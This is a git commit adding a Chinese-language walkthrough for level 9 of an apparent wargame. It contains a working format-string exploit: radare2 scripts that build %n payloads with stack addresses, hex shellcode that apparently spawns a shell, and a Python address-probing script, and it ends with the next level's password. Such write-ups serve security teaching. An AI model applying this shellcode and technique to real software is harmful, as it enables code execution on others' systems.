summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorIru Cai <mytbk920423@gmail.com>2018-10-08 20:03:04 +0800
committerIru Cai <mytbk920423@gmail.com>2018-10-08 20:03:04 +0800
commit2b2952dacc47c09314ab67df11e6ab6c6e56f9e5 (patch)
treed0e3b572119c8d7c6b30fd2961fa00daea07a519
parent1e50c1c439ff9c39166eb98af1de489149e8b519 (diff)
downloadiogame-2b2952dacc47c09314ab67df11e6ab6c6e56f9e5.tar.xz
-rw-r--r--level09107
1 files changed, 107 insertions, 0 deletions
diff --git a/level09 b/level09
new file mode 100644
index 0000000..584c324
--- /dev/null
+++ b/level09
@@ -0,0 +1,107 @@
+level9 存在 printf 格式化字符串漏洞的利用,其中可以使用 %n 修改内存地址。注意到该程序栈的位置固定,ebp 为 0xbffffc78,返回地址位于 ebp+4=0xbffffc7c,记其为 ra.
+
+反汇编可知,buf 在 ebp-0x418=0xbffff860,栈顶在 ebp-0x428,我们先用3个%02hhx消耗掉 buf 之前的 3 个参数,然后填写 ra 至 ra+4 使得 %n 可以写 4 个字节至 ra. 于是利用串如下:
+
+ <ra>,<ra+1>,<ra+2>,<ra+3>,shellcode,%02hhx,%02hhx,%02hhx,...%n...%n...%n...%n...
+
+shellcode 的位置为 buf+16=0xbffff870. 往 ra, ra+1, ra+2 处写入 0x70, 0xf8, 0xff,往 ra+3 写入 0x1bf 即可使返回地址指向 buf.
+
+[0x00000000]> wxs 7cfcffbf
+[0x00000004]> wxs 7dfcffbf
+[0x00000008]> wxs 7efcffbf
+[0x0000000c]> wxs 7ffcffbf
+[0x00000010]> wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80
+[0x0000003f]> w %02hhx%02hhx%02hhx
+[0x0000003f]> s +18
+[0x00000051]> 43 wxs 20
+[0x0000007c]> w %n
+[0x0000007c]> s +2
+[0x0000007e]> 136 wxs 20
+[0x00000106]> w %n
+[0x00000106]> s +2
+[0x00000108]> 7 wxs 20
+[0x0000010f]> w %n
+[0x0000010f]> s +2
+[0x00000111]> 192 wxs 20
+[0x000001d1]> w %n
+[0x000001d1]> wtf /tmp/exp_.bin 0x1d3 @ 0
+[0x000001d3]> q
+
+测试后发现失败,原因是 argv[1] 变长后 ebp 位置发生改变。注意到 argv[1] 和 buf 至多 1k 字节,ebp 和 ebp-0x418-4 仍为 0xbffffxxx,可以让 argv[1] 长度不变,只调整相应数值。
+
+用调试器可以看出,在这个 argv[1] 长度下,ra=0xbffffaac,shellcode 位置为 ra-4-0x418+16=0xbffff6a0. 调整 radare2 脚本:
+
+wxs acfaffbf
+wxs adfaffbf
+wxs aefaffbf
+wxs affaffbf
+wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80
+w %02hhx%02hhx%02hhx
+s +18
+# now 0x45 bytes will be printed
+# 0xa0 - 0x45 = 91
+91 wxs 41
+w %n
+s +2
+# 0xf6 - 0xa0 = 86
+86 wxs 41
+w %n
+s +2
+# 0xff - 0xf6 = 9
+9 wxs 41
+w %n
+s +2
+# 0x1bf - 0xff = 192
+192 wxs 41
+w %n
+wtf /tmp/exp_.bin 0x1d3 @ 0
+
+测试后发现 gdb 可以 exec 命令,但是直接运行还是不行。
+
+考虑到在程序调用 strncpy 时,argv[1] 的地址已经在栈中,我们可以尝试找到 argv[1] 和 ebp 的关系。用以下脚本可以检查 pad 的地址:
+
+import os
+start = 0
+while start < 0x1000:
+ lo = start & 0xff
+ hi = (start >> 8) & 0xff
+ hi = hi + 0xf0
+ if lo != 0 and hi != 0:
+ s = chr(lo) + chr(hi) + b"\xff\xbf_%p_%x_%x_%n%263$x_000"
+ print(start)
+ os.system(b"/levels/level09 '" + s + "'")
+ print("")
+ start = start+4
+
+测得 start=3196 时 pad 的值被修改,并且 argv[1]=0xbffffe41. 即 argv[1]=0xbffffe41 时 ebp-0xc=0xbffffc7c, ebp=0xbffffc88.
+
+用 gdb 可以看出,argv[1]&(-16) 和 ebp 的距离为一个固定的值。在这里,这个固定的值为 0xbffffe40-0xbffffc88=440. 我们重新用上述 radare2 脚本,把第一个 %02hhx 改为 %p,查看 argv[1] 的值 0xbffffc94,定位出 ebp=0xbffffe48,再调整 shellcode 地址,终于过关。
+
+$ cat /tmp/exp.txt
+wxs dcfaffbf
+wxs ddfaffbf
+wxs defaffbf
+wxs dffaffbf
+wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80
+w %p%02hhx%02hhx
+s +14
+# now 0x4d bytes will be printed
+# we need the address 0xbffff6d0
+# 0xd0 - 0x4d = 147
+131 wxs 41
+w %n
+s +2
+# 0xf6 - 0xd0 = 22
+38 wxs 41
+w %n
+s +2
+# 0xff - 0xf6 = 9
+9 wxs 41
+w %n
+s +2
+# 0x1bf - 0xff = 192
+192 wxs 41
+w %n
+wtf /tmp/exp_.bin 0x1c7 @ 0
+
+level10 UT3ROlnUqI0R2nJA